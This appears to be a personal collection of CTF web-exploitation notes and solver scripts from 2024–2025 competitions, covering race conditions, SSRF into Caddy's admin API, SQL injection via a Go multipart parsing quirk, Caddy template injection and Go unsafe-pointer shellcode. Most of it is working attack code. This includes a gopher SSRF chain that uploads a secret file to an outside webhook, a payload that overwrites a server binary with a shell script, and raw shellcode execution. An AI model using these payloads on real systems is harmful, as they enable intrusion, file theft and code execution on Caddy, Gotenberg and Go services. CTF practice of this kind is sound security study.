Race Condition because the proxy using id from the agent
| Event Name | Crew CTF 2025 |
| GitHub URL | - |
| Challenge Name | proxies |
Attachments
References
author
The actual thing cause race is that the id must be given by the proxy side, not agent side, as given by agent side, the proxy has listening request queue waiting for agent, so by delaying 1 req, the proxy will received swap request, like request for A then B but the response will be B then A. At first, i didn't put the hashes thing for generate the id, but then, the time window is so small, so i try and error for the number of hash iteration for good time window
solver
import subprocess
base_url = "https://inst-a93b1ac297c3b8d3-proxies.chal.crewc.tf"
def part_1():
cmd = [
"curl",
"-s",
"-X",
"POST",
f"{base_url}/a",
"-H",
"Content-Encoding: gzip",
"--data-binary",
"@-"
]
gzip_process = subprocess.Popen(
["gzip", "-c"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
curl_process = subprocess.Popen(
cmd,
stdin=gzip_process.stdout,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
gzip_process.stdin.write(b"GIVE ME FLAG!")
gzip_process.stdin.close()
curl_process_stdout, curl_process_stderr = curl_process.communicate()
if curl_process.returncode != 0:
print(f"Error in curl command: {curl_process_stderr.decode()}")
else:
print(curl_process_stdout.decode())
# part_1()
# For part 2, it is a race condition challenge on /admin and /admin_check you have to try this multiple times to get the result
import threading
def send_request(url, barrier=None):
try:
# Wait for all threads before sending
barrier.wait()
response = subprocess.check_output(["curl", "-s", url]).decode()
print(f"[{threading.current_thread().name}] {response}")
except Exception as e:
print(f"[{threading.current_thread().name}] Error: {e}")
def part_2():
num_requests = 5
barrier = threading.Barrier(num_requests*2)
threads = []
url1 = f"{base_url}/admin"
url2 = f"{base_url}/admin_check"
for i in range(num_requests):
t = threading.Thread(
target=send_request,
args=(url1, barrier),
name=f"Thread-{i+1}"
)
threads.append(t)
t.start()
for i in range(num_requests):
t = threading.Thread(
target=send_request,
args=(url2, barrier),
name=f"Thread-{i+1+num_requests}"
)
threads.append(t)
t.start()
for t in threads:
t.join()
if __name__ == "__main__":
part_1()
part_2()
Adding Arbitrary File Into Golang Binary
| Event Name | Grey CTF 2025 |
| GitHub URL | - |
| Challenge Name | C2 |
Attachments
References
solve 1
package main
/*
#cgo CFLAGS: -std=gnu99
__asm__(
".section .rodata\n"
".global _flag_start\n"
"_flag_start:\n"
".incbin \"/app/secrets/flag.go\"\n"
".global _flag_end\n"
"_flag_end:\n"
".byte 0\n"
".previous\n"
);
*/
import "C"
func main() {}solve 2
package main
/*
#define package //
#define secrets
#define var char*
#include "/app/secrets/flag.go"
*/
import "C"
func main() {
}solve 3
from http.server import HTTPServer, BaseHTTPRequestHandler
import time
import re
class DelayedHandler(BaseHTTPRequestHandler):
def do_PUT(self):
content_length = int(self.headers.get('Content-Length', 0))
file_data = self.rfile.read(content_length) if content_length > 0 else b''
file_text = file_data.decode(errors='ignore')
# Find all strings starting with /tmp/c2_ and followed by non-whitespace characters
matches = re.findall(r'/tmp/c2_[^\s"\']+', file_text)
if matches:
print("Last '/tmp/c2_' match:")
print(matches[-1])
else:
print("No strings starting with '/tmp/c2_' found.")
time.sleep(10)
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(b"Processed upload after 10 seconds delay.")
def do_GET(self):
self.send_error(405, "Method Not Allowed")
def do_POST(self):
self.send_error(405, "Method Not Allowed")
def do_DELETE(self):
self.send_error(405, "Method Not Allowed")
if __name__ == '__main__':
server_address = ('', 1234)
httpd = HTTPServer(server_address, DelayedHandler)
print('Server running on port 1234...')
httpd.serve_forever()import string
import requests
ip_vps = "http://ip_vps:1234"
# target = "localhost:3336"
target = "challs2.nusgreyhats.org:33203"
def second_req(uuid):
go_code = """
package main
import "fmt"
func main() {
fmt.Println("Hello, World!")
}
/*
--request PUT
--upload-file /app/secrets/flag.go
--url https://webhook.site/5225f71e-8c30-4476-b3c1-8b56a3c6cadd
*/"""
raw_request = (
f"POST /agent/{uuid}/execute HTTP/1.1\r\n"
f"Host: 127.0.0.1:8080\r\n"
f"Content-Length: {len(go_code)}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n\r\n"
f"{go_code}"
)
raw_bytes = raw_request.encode()
payload = ""
for byte in raw_bytes:
char = chr(byte)
if char in string.ascii_letters + string.digits:
payload += char
else:
payload += f"%{byte:02x}"
# Final
gopher_url = f"gopher://127.0.0.1:8080/_{payload}"
return gopher_url
# Register my website
uuid_resp = requests.post(
f"http://{target}/register",
json={"agentUrl": ip_vps}
).text.strip()
# print(uuid_resp)
# Create main.go
response = requests.post(
f"http://{target}/register",
json={"agentUrl": second_req(uuid_resp)}
)
# Trigger curl config (manual hehe)
# response = requests.post(
# f"http://{target}/register",
# json={"agentUrl":"-K/tmp/c2_829034614/main.go"}
# ).text.strip()Caddy SSRF into admin
| Event Name | SAS CTF Quals 2025 |
| GitHub URL | - |
| Challenge Name | Proxy |
Attachments
References
solve
import requests
url = "https://9cd844be-ab9d-4ebf-b2f8-c42cb5718d6d.kit.sasc.tf/127.0.0.1:2019/load"
data3 = {
"logging":{
"logs":{
"default":{
"writer":{
"output":"file",
"filename":"/usr/local/sbin/caddy",
"mode":"0777"
},
"encoder":{
"time_format":"#!/bin/sh\nchmod 777 /flag.sh; cp /flag.sh /app/index.html; /usr/bin/caddy run --config /app/Caddyfile\n",
"format":"console"
}
}
}
},
"apps": {
"http": {
"servers": {
"srv0": {
"listen": [":80"],
"routes": [
{
"handle": [
{
"defaults": ["{http.regexp.stripHostPort.2}"],
"destinations": ["{targetPort}"],
"handler": "map",
"mappings": [
{
"outputs": [80]
}
],
"source": "{http.regexp.stripHostPort.2}"
},
{
"defaults": ["{http.regexp.stripHostPort.3}"],
"destinations": ["{targetPath}"],
"handler": "map",
"mappings": [
{
"outputs": ["/"]
}
],
"source": "{http.regexp.stripHostPort.3}"
}
]
},
{
"group": "group2",
"handle": [
{
"handler": "subroute",
"routes": [
{
"group": "group0",
"handle": [
{
"handler": "rewrite",
"uri": "{targetPath}"
}
]
},
{
"handle": [
{
"handler": "reverse_proxy",
"headers": {
"request": {
"set": {
"Host": ["{http.regexp.stripHostPort.1}:{targetPort}"]
}
}
},
"upstreams": [
{
"dial": "{http.regexp.stripHostPort.1}:{targetPort}"
}
]
}
]
}
]
}
],
"match": [
{
"path_regexp": {
"name": "stripHostPort",
"pattern": "^\\/([^\\/]+?)(?::(\\d+))?(\\/.*)?$"
}
}
]
},
{
"group": "group2",
"handle": [
{
"handler": "subroute",
"routes": [
{
"handle": [
{
"handler": "vars",
"root": "/app",
"browse": 1
},
{
"handler": "file_server",
"hide": ["/app/Caddyfile"]
}
]
}
]
}
]
}
]
}
}
}
}
}
r = requests.post(url, json=data3, allow_redirects=False)
print(r.text)curl.exe -X POST <https://9cd844be-ab9d-4ebf-b2f8-c42cb5718d6d.kit.sasc.tf/localhost:2019/stop
then cancel the curl using ctrl + c
Golang race condition is easy to trigger in go routine like in this challenge writeup
| Event Name | hxp CTF 2024 |
| GitHub URL | - |
| Challenge Name | Fajny Jagazyn Wartości Kluczy |
References
...
func checkPath(path string) error {
if strings.Contains(path, ".") {
return fmt.Errorf("🛑 nielegalne (hacking)")
}
if strings.Contains(path, "flag") {
return fmt.Errorf("🛑 nielegalne (just to be sure)")
}
return nil
}
func main() {
time.AfterFunc(180*time.Second, func() {
os.Exit(0)
})
session, ok := os.LookupEnv("SESSION")
if !ok {
panic("SESSION env not set")
}
dataDir := "/tmp/kv." + session
err := os.Mkdir(dataDir, 0o777)
if err != nil {
panic(err)
}
err = os.Chdir(dataDir)
if err != nil {
panic(err)
}
http.HandleFunc("/get", func(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
if err = checkPath(name); err != nil {
http.Error(w, "checkPath :(", http.StatusInternalServerError)
return
}
file, err := os.Open(name)
if err != nil {
http.Error(w, "Open :(", http.StatusInternalServerError)
return
}
data, err := io.ReadAll(io.LimitReader(file, 1024))
if err != nil {
http.Error(w, "ReadAll :(", http.StatusInternalServerError)
return
}
w.Write(data)
})
...
err is shared between handler calls and therefore, we can race the checkPath call and the err != nil check.
Gotenberg 8.17.3 Local File Read via iframe
| Event Name | Kalmar CTF 2025 |
| GitHub URL | https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025 |
| Challenge Name | G0tchaberg |
Attachments
References
<p id="path"></p>
<p id="fsWorkingDir"></p>
<iframe id="frame" width="100%" height="300px"></iframe>
<script>
const currentPath = window.location.pathname;
path.innerText = `Current path: ${currentPath}`;
const workingDirectory = currentPath.split('/')[2];
fsWorkingDir.innerText = `fs.workingDir = ${workingDirectory}`;
frame.src = `file:///tmp/${workingDirectory}/`;
</script>
Golang didn’t parsing incorrect Content-Disposition making us can bypass if the golang used as a WAF
| Event Name | TPCTF |
| GitHub URL | - |
| Challenge Name | supersqli |
References
solver.py
from pwn import *
def exploit(sql_payload: str):
# Establish connection
# io = remote("localhost", 80)
io = remote("1.95.159.113", 80)
# Split payload into prefix/suffix for dynamic content-length calculation
req_prefix = (
"POST /flag/ HTTP/1.1\r\n"
"Host: localhost\r\n"
"Content-Type: multipart/form-data; boundary=f94b597e0e60676bd2e380fe7925d9f7\r\n"
)
req_suffix = (
"\r\n"
"--f94b597e0e60676bd2e380fe7925d9f7\r\n"
"Content-Disposition: form-data; name=\"username\"\r\n"
"\r\n"
"admin\r\n"
"--f94b597e0e60676bd2e380fe7925d9f7\r\n"
"Content-Disposition: x; name=\"password\";\r\n"
"Content-Type: application/form-data\r\n"
"\r\n"
f"{sql_payload}\r\n" # Dynamic payload insertion
"--f94b597e0e60676bd2e380fe7925d9f7--\r\n"
)
# Calculate content length dynamically
content_length = len(req_suffix.encode())
full_request = f"{req_prefix}Content-Length: {content_length}\r\n\r\n{req_suffix}\r\n"
io.send(full_request)
response = io.recv(1000).decode()
io.close()
return response
if __name__ == "__main__":
print(exploit("""' UNION SELECT 1,2,REPLACE(REPLACE('" UNION SELECT 1,2,REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") --',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT 1,2,REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") --') --"""))
Caddy Template Injection
| Event Name | Kalmar CTF 2025 |
| GitHub URL | https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025 |
| Challenge Name | Ez ⛳ v3 |
Attachments
References
solver.py
import httpx
import asyncio
URL = "https://caddy.chal-kalmarc.tf/"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.AsyncClient(base_url=url, verify=False) # Skip SSL verification since it's using internal certs
class API(BaseAPI):
async def get_flag(self):
# Try to use /fetch endpoint to make an internal request to /flag
res = await self.c.get("/fetch/headers", headers={
"Host": "private.caddy.chal-kalmarc.tf",
"x": """{{ env `FLAG` }}"""
})
return res.text
async def main():
api = API()
flag = await api.get_flag()
print(flag)
if __name__ == "__main__":
asyncio.run(main())
SSTI in Caddy Server
| Event Name | Kalmar CTF 2024 |
| GitHub URL | https://github.com/kalmarunionenctf/kalmarctf/tree/main/2024 |
| Challenge Name | - |
Attachments
References
https://caddyserver.com/docs/modules/http.handlers.templates
❯ curl "https://ua.caddy.chal-kalmarc.tf/" --user-agent '{{ readFile "/CVGjuzCIVR99QNpJTLtBn9" }}'
<!DOCTYPE html><meta charset=utf-8><title>ua.caddy.chal-kalmarc.tf</title><body>User-Agent: kalmar{Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate}
</body>⏎
❯ curl "https://ua.caddy.chal-kalmarc.tf/" --user-agent '{{ listFiles "/" }}'
<!DOCTYPE html><meta charset=utf-8><title>ua.caddy.chal-kalmarc.tf</title><body>User-Agent: [lib home tmp var srv sbin sys run dev root bin etc usr
opt mnt media proc CVGjuzCIVR99QNpJTLtBn9 .dockerenv data config]</body>⏎
ex vulnerable config
(sec_headers) {
root * /
header {
Content-Security-Policy "default-src 'none'; frame-ancestors 'none'; base-uri 'none';"
Strict-Transport-Security "max-age=31536000"
X-XSS-Protection 0
X-Content-Type-Options nosniff
X-Frame-Options DENY
Referrer-Policy "no-referrer"
}
}
(html_reply) {
import sec_headers
header Content-Type text/html
templates
respond "<!DOCTYPE html><meta charset=utf-8><title>{http.request.host}</title><body>{args[0]}</body>"
}
(json_reply) {
templates {
# By default placeholders are not replaced for json
mime application/json
}
header Content-Type application/json
respond "{args[0]}"
}
(http_reply) {
tls internal {
alpn "{args[0]}"
}
map {args[0]} {proto_name} {
http/1.1 HTTP/1.1
h2 HTTP/2.0
h3 HTTP/3.0
}
@correctALPN `{http.request.proto} == {proto_name}`
respond @correctALPN "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
import html_reply "You are connected with {http.request.proto} instead of {proto_name} ({tls_version}, {tls_cipher}). <!-- Debug: {http.request.uuid}-->"
}
(tls_reply) {
tls internal {
protocols {args[0]} {args[1]}
}
header Access-Control-Allow-Origin "*"
import json_reply {"tls_version":"{tls_version}","alpn":"{http.request.tls.proto}","sni":"{http.request.tls.server_name}","cipher_suite":"{http.request.tls.cipher_suite}"}
}
mtls.caddy.chal-kalmarc.tf {
tls internal {
client_auth {
mode require
}
}
templates
import html_reply `You are connected with client-cert {http.request.tls.client.subject}`
}
tls.caddy.chal-kalmarc.tf {
import tls_reply tls1.2 tls1.3
}
tls12.caddy.chal-kalmarc.tf {
import tls_reply tls1.2 tls1.2
}
tls13.caddy.chal-kalmarc.tf {
import tls_reply tls1.3 tls1.3
}
ua.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply `User-Agent: {{.Req.Header.Get "User-Agent"}}`
}
http.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
}
http1.caddy.chal-kalmarc.tf {
import http_reply http/1.1
}
http2.caddy.chal-kalmarc.tf {
import http_reply h2
}
http3.caddy.chal-kalmarc.tf {
import http_reply h3
}
caddy.chal-kalmarc.tf {
tls internal
import html_reply `Hello! Wanna know you if your browser supports <a href="https://http1.caddy.chal-kalmarc.tf/">http/1.1</a>? <a href="https://http2.caddy.chal-kalmarc.tf/">http/2</a>? Or fancy for some <a href="https://http3.caddy.chal-kalmarc.tf/">http/3</a>?! Check your preference <a href="https://http.caddy.chal-kalmarc.tf/">here</a>.<br/>We also allow you to check <a href="https://tls12.caddy.chal-kalmarc.tf/">TLS/1.2</a>, <a href="https://tls13.caddy.chal-kalmarc.tf/">TLS/1.3</a>, <a href="https://tls.caddy.chal-kalmarc.tf/">TLS preference</a>, supports <a href="https://mtls.caddy.chal-kalmarc.tf/">mTLS</a>? Checkout your <a href="https://ua.caddy.chal-kalmarc.tf/">User-Agent</a>!<!-- At some point we might even implement a <a href="https://flag.caddy.chal-kalmarc.tf/">flag</a> endpoint! -->`
}net/html
HTML parser bypass and gorilla CSRF make POST become like GET
request
https://github.com/sohomdatta1/sohomdatta1.github.io/blob/main/writeups/phantom.md
Golang Unsafe pointer to RCE using reflect
Aractf 2024
package main
import ("reflect")func main() {addr := uintptr(0x4034c0) // runtime.mmapptr := &addr
scAddr := (*(*func(uintptr, int, int, int, int, int)uintptr)(reflect.ValueOf(&ptr).UnsafePointer()))(0, 0x1000, 7, 34, -1, 0)sc :="H\x89\xe7jd^jOX\x0f\x05j\x01_jdZH\x89\xe6j\x01X\x0f\x051\xff1\xc0\xb0\xe7\x0f\x05"for i := 0; i < len(sc); i++ {p := uintptr(scAddr) + uintptr(i)str := (**byte)(reflect.ValueOf(&p).UnsafePointer())**str = sc[i]}scPtr := &scAddr
(*(*func())(reflect.ValueOf(&scPtr).UnsafePointer()))()}
Golang Race Condition
Golang Race Condition Technique in ParseForm
okay the intended way is really interesting. sending n-1 bytes will block at err := r.ParseForm(), ie after the balance was already cached, so from there we have multiple attempts for each iteration
err := r.ParseForm()